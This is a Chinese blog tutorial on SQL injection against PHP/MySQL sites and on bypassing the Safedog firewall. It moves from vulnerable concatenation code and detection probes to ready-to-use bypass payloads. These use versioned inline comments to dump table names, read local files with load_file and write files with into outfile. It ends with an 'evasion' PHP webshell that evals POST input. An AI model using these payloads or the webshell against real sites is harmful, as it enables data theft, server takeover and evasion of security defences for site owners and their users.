zoukankan      html  css  js  c++  java
  • SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击

      SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令

    http://www.xxx.com/list.php?id=1
    http://www.xxx.com/list.php?id=1 and user()>0 --
    
    • [ ] 哪里存在sql注入
      GET,POST,HTTP头部注入,Cookie注入,任何客户端可控,传递到服务器的变量
    • [ ]漏洞原理
    1. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句
      $sql = "select * from article where id = ".$_GET[1];//使用字符串拼接
      
    2. 未对用户可控参数进行足够的过滤便将参数内容拼接到SQL语句中。
      $sql = "select * from article where id = $_GET[1]";//传递参数未过滤
      

    2.SQL注入的危害

    • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中的内容(脱库)。
    • 在特别情况下还可以修改数据库内容或者插入内容到数据库,(多语句联合查询注入)
    • 如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。(root权限或者sa权限等等)

    3.SQL注入的分类

    • 根据数据类型
      $id = $_GET['id'];
      • 整型注入 $sql="select * from article where id = $id"
      • 字符型注入 (sql="select * from article where id = ')id'"
    • 根据注入语法
    • UNION query SQL injection(可联合的查询注入)
    • Stacked queries SQL injection(可多语句查询注入)
    • Error-based SQLinjection(报错型注入)
    • Boolean-based blind SQL injection(布尔型注入)
    • Time-based blind SQL injection(基于时间延迟注入)

    4.SQL注入的挖掘(编写注入环境代码验证)

    • and 1=1 / and 1=2 根据回显页面不同(整形判断)

    • 单引号判断(')显示数据库错误信息或者页面回显不同(整形,字符串类型判断)

    • (转义符)(适合于字符型注入)

    • -1/+1回显下一个或者上一个页面(整形判断)

    • and sleep(5)(判断页面返回时间)

    • [ ] mysql中四种注释风格


    • /.../

    • /!.../ 内联注释/*!50000select */(mysql版本大于50000执行)

    • [ ] mysql中一些函数

    • system_user()系统用户名

    • user()用户名

    • current_user()当前用户名

    • session_user()连接数据库的用户名

    • database() 数据库名

    • version()MySql数据库版本

    • load_file()MySql读取本地文件的函数

    • @@datadir 读取数据库路径

    • @@basedir MySql安装路径

    • @@version_compile_os 操作系统Windows Server 2003

    • [ ] mysql漏洞利用函数:into outfile()

    • into_outfile()写文件操作
      前提:

      • 文件名必须全路径(绝对路径),
      • 用户必须有写文件的权限
      • 没有对’单引号过滤
    • SELLECT''into outfile'D://phpStudy//WWW//hack.php'

    • [ ] mysql链接 字符串函数

    • concat(str1,str2)

    • concat_ws(separator,str1,str2...)

    • group_concat(str1,str2....)

      • MySql的concat函数可以连接一个或者多个字符串
        • concat(username,0x23,password,0x23...)
        • concat_ws()函数,表示concat with separator,即有分隔符的字符串连接
        • group_concat()函数,把每一行数据分到一个组里显示出来
    • [ ] mysql联合查询注入必备知识点

    • information_schema(mysql5.0)信息数据库。其中保存着关于MySql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等

    • SCHEMATA表:(所有的数据库名在这个表)提供了当前mysql事例中所有的数据库信息。是show databases的结果取之此表。

    • TABLES表:(所有的数据库的表名在这个表)提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建表的时间等信息。是show tables from schemaname的结果取之此表。

    • COLUMNS表:(所有数据库的表名中的所有列在这个表)提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。

    • [ ] mysql联合查询规则

    • UNION必须由两条或者两条以上的SELECT语句组成,语句之间用关键字UNION分隔

    • UNION中的每个查询必须包含相同的列

    • UNION会从查询结果集中自动去除了重复行

    • [ ]过狗语句

    • ?id=-1 /!50001union//!50001select/1,table_name,3,4,5 /!50001from/ information_schema.tables where table_schema='newbaji'

    • load_file()读取可以单个斜线
      ?id=-1 /!50001union//!50001select/
      1,load_file('d:/pass.txt'),3,4,5

    • into outfile 'd://aaa.txt'(写入必须双//)
      ?id=-1 /!50001union//!50001select/1,'',3,4,5 into outfile 'd:2.txt';

    一句话免杀木马

    <?php function dog(){return $_POST[1];}eval(dog());?>
    
  • 相关阅读:
    AJAX请求MVC控制器跨域头问题
    HTTP 错误500.19 -Internal Server Error 错误代码 0x80070021
    C# 同一时间批量生成订单号不重复
    Unity书籍下载地址
    几种常见的设计模式
    C# web api 对象与JSON互转
    自动按参数首字母排序参数
    C# 3DES加密 解密
    C#大量数据导出Excel
    判断对象是数组
  • 原文地址:https://www.cnblogs.com/whatiwhere/p/8911310.html
Copyright © 2011-2022 走看看